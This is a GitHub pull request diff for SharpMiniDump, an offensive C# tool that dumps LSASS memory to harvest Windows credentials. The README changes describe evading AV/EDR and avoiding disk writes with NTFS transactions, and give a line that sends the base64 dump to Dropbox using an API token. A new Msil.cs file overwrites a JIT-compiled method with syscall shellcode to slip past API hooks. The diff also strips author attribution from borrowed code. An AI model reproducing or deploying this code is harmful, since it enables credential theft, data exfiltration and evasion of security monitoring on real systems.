Skip to content

problem to run sharp minidump #2

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 5 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
# SharpMiniDump

Create a minidump of the LSASS process from memory (Windows 10 - Windows Server 2016). The entire process uses: dynamic API calls, direct syscall and Native API unhooking to evade the AV / EDR detection.
Implementation of b4rtiks's [SharpMiniDump](https://github.com/b4rtik/SharpMiniDump) using NTFS transactions to avoid writting the minidump to disk and exfiltrating it via HTTPS using sockets. As a POC, dropbox is used to exfiltrate the data but this can me easily modified.

SharpMiniDump is a rough port of this project [Dumpert](https://github.com/outflanknl/Dumpert) by [@Cn33liz](https://twitter.com/Cneelis) and you will find the detail in this [post](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/), so BIG credits to him.
If you wish to use dropbox, just change the following parameters at Program.cs:201 and you are good to go.

Other credits go to [@cobbr_io](https://twitter.com/cobbr_io) and [@TheRealWover](https://twitter.com/TheRealWover) for their work on [SharpSploit](https://github.com/cobbr/SharpSploit) (Execution / DynamicInvoke)
```C#
SslTcpClient.RunClient("content.dropboxapi.com", "<FOLDER>", "<DROPBOX TOKEN>", b64);
```



63 changes: 4 additions & 59 deletions SharpMiniDump/CustomLoadLibrary.cs
Original file line number Diff line number Diff line change
@@ -1,28 +1,12 @@
//
// Author: B4rtik (@b4rtik)
// Project: RedPeanut (https://github.com/b4rtik/RedPeanut)
// License: BSD 3-Clause
//

using System;
using System.Collections.Generic;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace SharpMiniDump
{
public class CustomLoadLibrary
{
/// <summary>
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
{
public static IntPtr LoadModuleFromDisk(string DLLPath)
{
Natives.UNICODE_STRING uModuleName = new Natives.UNICODE_STRING();
Expand Down Expand Up @@ -56,40 +40,7 @@ public static IntPtr GetDllAddress(string DLLName, bool CanLoadFromDisk = false)

return hModule;
}

/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="FunctionName">Name of the exported procedure.</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}

return GetExportAddress(hModule, FunctionName);
}

/// <summary>
/// Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>

public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
Expand All @@ -103,13 +54,7 @@ public static IntPtr GetLoadedModuleAddress(string DLLName)

return IntPtr.Zero;
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr for the desired function.</returns>

public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
Expand Down
191 changes: 191 additions & 0 deletions SharpMiniDump/Msil.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,191 @@
using System;
using System.Runtime.InteropServices;
using System.Reflection.Emit;
using System.Reflection;
using System.Security;

namespace SharpMiniDump
{
class msil
{
public unsafe static IntPtr getAdrressWithMSIL(byte[] syscall)
{
//begin memcopy en msil
AppDomain appD = AppDomain.CurrentDomain;
AssemblyName assName = new AssemblyName("MethodSmasher");
AssemblyBuilder assBuilder = appD.DefineDynamicAssembly(assName, AssemblyBuilderAccess.Run);
AllowPartiallyTrustedCallersAttribute attr = new AllowPartiallyTrustedCallersAttribute();
ConstructorInfo csInfo = attr.GetType().GetConstructors()[0];
object[] obArray = new object[0];
CustomAttributeBuilder cAttrB = new CustomAttributeBuilder(csInfo, obArray);
assBuilder.SetCustomAttribute(cAttrB);
ModuleBuilder mBuilder = assBuilder.DefineDynamicModule("MethodSmasher");
UnverifiableCodeAttribute codAttr = new UnverifiableCodeAttribute();
csInfo = codAttr.GetType().GetConstructors()[0];
CustomAttributeBuilder modCAttrB = new CustomAttributeBuilder(csInfo, obArray);
mBuilder.SetCustomAttribute(modCAttrB);
TypeBuilder tBuilder = mBuilder.DefineType("MethodSmasher", TypeAttributes.Public);
Type[] allParams = { typeof(IntPtr), typeof(IntPtr), typeof(Int32) };
MethodBuilder methodBuilder = tBuilder.DefineMethod("OverwriteMethod", MethodAttributes.Public | MethodAttributes.Static, null, allParams);
ILGenerator generator = methodBuilder.GetILGenerator();

generator.Emit(OpCodes.Ldarg_0);
generator.Emit(OpCodes.Ldarg_1);
generator.Emit(OpCodes.Ldarg_2);
generator.Emit(OpCodes.Volatile);
generator.Emit(OpCodes.Cpblk);
generator.Emit(OpCodes.Ret);

var smasherType = tBuilder.CreateType();
var overWriteMethod = smasherType.GetMethod("OverwriteMethod");
//end memcopy en msil

//begin xor dummy method
appD = AppDomain.CurrentDomain;
assName = new AssemblyName("SmashMe");
assBuilder = appD.DefineDynamicAssembly(assName, AssemblyBuilderAccess.Run);
attr = new AllowPartiallyTrustedCallersAttribute();
csInfo = attr.GetType().GetConstructors()[0];
obArray = new object[0];
cAttrB = new CustomAttributeBuilder(csInfo, obArray);
assBuilder.SetCustomAttribute(cAttrB);
mBuilder = assBuilder.DefineDynamicModule("SmashMe");
codAttr = new UnverifiableCodeAttribute();
csInfo = codAttr.GetType().GetConstructors()[0];
modCAttrB = new CustomAttributeBuilder(csInfo, obArray);
mBuilder.SetCustomAttribute(modCAttrB);
tBuilder = mBuilder.DefineType("SmashMe", TypeAttributes.Public);
Int32 xorK = 0x41424344;
Type[] allParams2 = { typeof(Int32) };
methodBuilder = tBuilder.DefineMethod("OverwriteMe", MethodAttributes.Public | MethodAttributes.Static, typeof(Int32), allParams2);
generator = methodBuilder.GetILGenerator();
generator.DeclareLocal(typeof(Int32));
generator.Emit(OpCodes.Ldarg_0);

for (var x = 0; x < 13000; x++)
{
generator.Emit(OpCodes.Ldc_I4, xorK);
generator.Emit(OpCodes.Xor);
generator.Emit(OpCodes.Stloc_0);
generator.Emit(OpCodes.Ldloc_0);
}

generator.Emit(OpCodes.Ldc_I4, xorK);
generator.Emit(OpCodes.Xor);
generator.Emit(OpCodes.Ret);

var smashmeType = tBuilder.CreateType();
var overwriteMeMethod = smashmeType.GetMethod("OverwriteMe");
//end xor dummy method

//jit the xor method
for (var x = 0; x < 40; x++)
{
try
{
var i = overwriteMeMethod.Invoke(null, new object[] { 0x11112222 });
}
catch (Exception e)
{
if (e.InnerException != null)
{
string err = e.InnerException.Message;
}
}
}

byte[] trap;


if (IntPtr.Size == 4)
{
//32bits shcode
trap = new byte[] { 0x90 };
}
else
{
//64bits shcode
trap = new byte[] { 0x90 };
}

byte[] finalShellcode = new byte[trap.Length + syscall.Length];
Buffer.BlockCopy(trap, 0, finalShellcode, 0, trap.Length);
Buffer.BlockCopy(syscall, 0, finalShellcode, trap.Length, syscall.Length);

IntPtr shellcodeAddress = Marshal.AllocHGlobal(finalShellcode.Length);

Marshal.Copy(finalShellcode, 0, shellcodeAddress, finalShellcode.Length);

IntPtr targetMethodAddress = getMethodAddress(overwriteMeMethod);

object[] owParams = new object[] { targetMethodAddress, shellcodeAddress, finalShellcode.Length };
try
{
overWriteMethod.Invoke(null, owParams);
}
catch (Exception e)
{
if (e.InnerException != null)
{
string err = e.InnerException.Message;
}
}

return targetMethodAddress;
}

public static IntPtr getMethodAddress(MethodInfo minfo)
{

IntPtr retAd = new IntPtr();
Type typeBuilded;

if (minfo.GetMethodImplementationFlags() == MethodImplAttributes.InternalCall)
{
return IntPtr.Zero;
}

try
{
typeBuilded = Type.GetType("MethodLeaker", true);
}
catch
{
AppDomain appD = AppDomain.CurrentDomain;
AssemblyName assName = new AssemblyName("MethodLeakAssembly");
AssemblyBuilder assBuilder = appD.DefineDynamicAssembly(assName, AssemblyBuilderAccess.Run);
ModuleBuilder mBuilder = assBuilder.DefineDynamicModule("MethodLeakModule");
TypeBuilder tBuilder = mBuilder.DefineType("MethodLeaker", TypeAttributes.Public);

MethodBuilder metBuilder;
if (IntPtr.Size == 4)
{
metBuilder = tBuilder.DefineMethod("LeakMethod", MethodAttributes.Public | MethodAttributes.Static, typeof(IntPtr), null);

}
else
{
metBuilder = tBuilder.DefineMethod("LeakMethod", MethodAttributes.Public | MethodAttributes.Static, typeof(IntPtr), null);
}

ILGenerator ilGen = metBuilder.GetILGenerator();

ilGen.Emit(OpCodes.Ldftn, minfo);
ilGen.Emit(OpCodes.Ret);

typeBuilded = tBuilder.CreateType();
}
MethodInfo methodInfoBuilded = typeBuilded.GetMethod("LeakMethod");
try
{
var obj = methodInfoBuilded.Invoke(null, null);
retAd = (IntPtr)obj;
}
catch (Exception e)
{
Console.WriteLine(methodInfoBuilded.Name + " cannot return an unmanaged address.");
}
return retAd;
}
}
}
Loading